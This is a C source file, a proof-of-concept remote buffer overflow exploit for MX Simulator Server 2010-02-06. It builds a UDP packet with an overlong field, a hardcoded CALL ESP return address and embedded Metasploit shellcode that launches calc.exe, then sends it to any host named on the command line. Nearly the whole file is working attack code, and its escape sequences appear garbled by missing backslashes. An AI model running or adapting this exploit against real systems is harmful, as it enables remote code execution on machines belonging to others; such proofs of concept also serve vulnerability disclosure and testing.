/*

    MX Simulator Server 2010-02-06 Remote Buffer Overflow PoC
	
	This PoC  will executes  the  calc.exe software on the remote
	system.
	The bug was discovered by Luigi Auriemma (www.aluigi.org)

    Copyright 2010 Salvatore Fresta aka Drosophila
    http://www.salvatorefresta.net/?opt=adv
    http://www.salvatorefresta.net/files/poc/PoC-MXSimulatorServer2010-02-06.zip

    This program is free software; you can redistribute it and/or
    modify it under the terms of  the  GNU General Public License
    as published by the  Free Software Foundation; either version 
    2 of the License, or (at your option) any later version.

    This program  is  distributed  in the hope  that  it  will be
    useful, but WITHOUT ANY WARRANTY;  without  even the  implied
    warranty  of  MERCHANTABILITY  or  FITNESS  FOR  A PARTICULAR
    PURPOSE. See the GNU General Public License for more details.

    You should have  received a copy  of  the  GNU General Public
    License along  with  this program;  if not, write to the Free
    Software Foundation,Inc., 59 Temple Place, Suite 330, Boston,
    MA 02111-1307 USA

    http://www.gnu.org/licenses/gpl-2.0.txt

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif

#define BUFFSZ      1024
#define PORT        19800

/*
* windows/exec - 511 bytes
* http://www.metasploit.com
* Encoder: x86/alpha_mixed
* EXITFUNC=process, CMD=calc.exe
*/
#define shellcode 
				"xb8x9exefxf3x90x31xc9xb1x33xd9xc2xd9x74x24xf4" 
				"x5bx31x43x0ex83xc3x04x03xddxe5x11x65x1dx11x5c" 
				"x86xddxe2x3fx0ex38xd3x6dx74x49x46xa2xfex1fx6b" 
				"x49x52x8bxf8x3fx7bxbcx49xf5x5dxf3x4ax3bx62x5f" 
				"x88x5dx1ex9dxddxbdx1fx6ex10xbfx58x92xdbxedx31" 
				"xd9x4ex02x35x9fx52x23x99x94xebx5bx9cx6ax9fxd1" 
				"x9fxbax30x6dxd7x22x3ax29xc8x53xefx29x34x1ax84" 
				"x9axcex9dx4cxd3x2fxacxb0xb8x11x01x3dxc0x56xa5" 
				"xdexb7xacxd6x63xc0x76xa5xbfx45x6bx0dx4bxfdx4f" 
				"xacx98x98x04xa2x55xeex43xa6x68x23xf8xd2xe1xc2" 
				"x2fx53xb1xe0xebx38x61x88xaaxe4xc4xb5xadx40xb8" 
				"x13xa5x62xadx22xe4xe8x30xa6x92x55x32xb8x9cxf5" 
				"x5bx89x17x9ax1cx16xf2xdfxd3x5cx5fx49x7cx39x35" 
				"xc8xe1xbaxe3x0ex1cx39x06xeexdbx21x63xebxa0xe5" 
				"x9fx81xb9x83x9fx36xb9x81xc3xd9x29x49x2ax7cxca" 
				"xe8x32"

int send_recv(int sd, unsigned char *in, int insz, unsigned char *out, int outsz, struct sockaddr_in *peer, int err);
int timeout(int sock, int secs);
unsigned int resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {

    struct  sockaddr_in peer;
    int     sd,
            len;
    unsigned short     port = PORT;
    unsigned char      buff[BUFFSZ],
					   *host = NULL,
					   pkg[] =
								"x03"
								"x00x00x00x00"			// slot
								"x00x00x00x00"			// session id
								"x00x00x00x00"			// admin pwd crc
								"x00x00x00x00"			// uid
								"000000000000000000000000"	// ???
								"yz250f||||n"				// bike's model
								"999n"						// bike's number
								"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
								"xd8x69x83x7c"          // EIP - CALL ESP (FFD4)
								shellcode;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc < 2) {
        printf("nMX Simulator Server 2010-02-06 Remote Buffer Overflow PoC - Salvatore Frestan"
		       "http://www.salvatorefresta.netn"
		       "n"
               "Usage: %s <target host> <port> (default: %hu)n"
                "n", argv[0], port);
        return -1;
    }

    host = argv[1];
    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr  = resolv(host);
    peer.sin_port         = htons(port);
    peer.sin_family       = AF_INET;
	
	printf("n[*] Socket opening in progress...");

	sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) {
	    printf("n[-] Unable to open a socket!nn");
		std_err();
	}
	
	printf("n[+] Socket open successfully"
	       "n[*] Data sending in progress...");

    memset(buff, 0, 9);
	len = send_recv(sd, buff, 9, buff, BUFFSZ, &peer, 1);
		
	*(int *)(pkg + 1) = *(int *)(buff + 1);
	*(int *)(pkg + 5) = *(int *)(buff + 5);	
	len = send_recv(sd, pkg, sizeof(pkg) - 1, buff, BUFFSZ, &peer, 0);

	printf("n[+] Data sent successfully"
	       "n[+] Connection closednn");
	
    close(sd);

    return 0;
	
}



int send_recv(int sd, unsigned char *in, int insz, unsigned char *out, int outsz, struct sockaddr_in *peer, int err) {

    int retry,
        len;

    if(in && !out) {
        fputc('.', stdout);
        if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
          < 0) std_err();
        return(0);
    }
	
    if(in) {
        for(retry = 2; retry; retry--) {
            fputc('.', stdout);
            if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
              < 0) std_err();
            if(!timeout(sd, 1)) break;
        }

        if(!retry) {
            if(!err) return(-1);
            printf("nError: socket timeout, no reply receivednn");
            exit(1);
        }
    } else {
        if(timeout(sd, 3) < 0) return(-1);
    }

    fputc('.', stdout);
    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0 && err) std_err();
    
	return len;
	
}



int timeout(int sock, int secs) {

    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec  = secs;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    
	return 0;
	
}



unsigned int resolv(char *host) {

    struct hostent *hp = NULL;
    unsigned int host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("nError: Unable to resolv hostname (%s)n", host);
            exit(1);
        } else host_ip = *(unsigned int *)hp->h_addr;
    }
	
    return host_ip;

}



#ifndef WIN32
    void std_err(void) {
        perror("nError");
        exit(1);
    }
#endif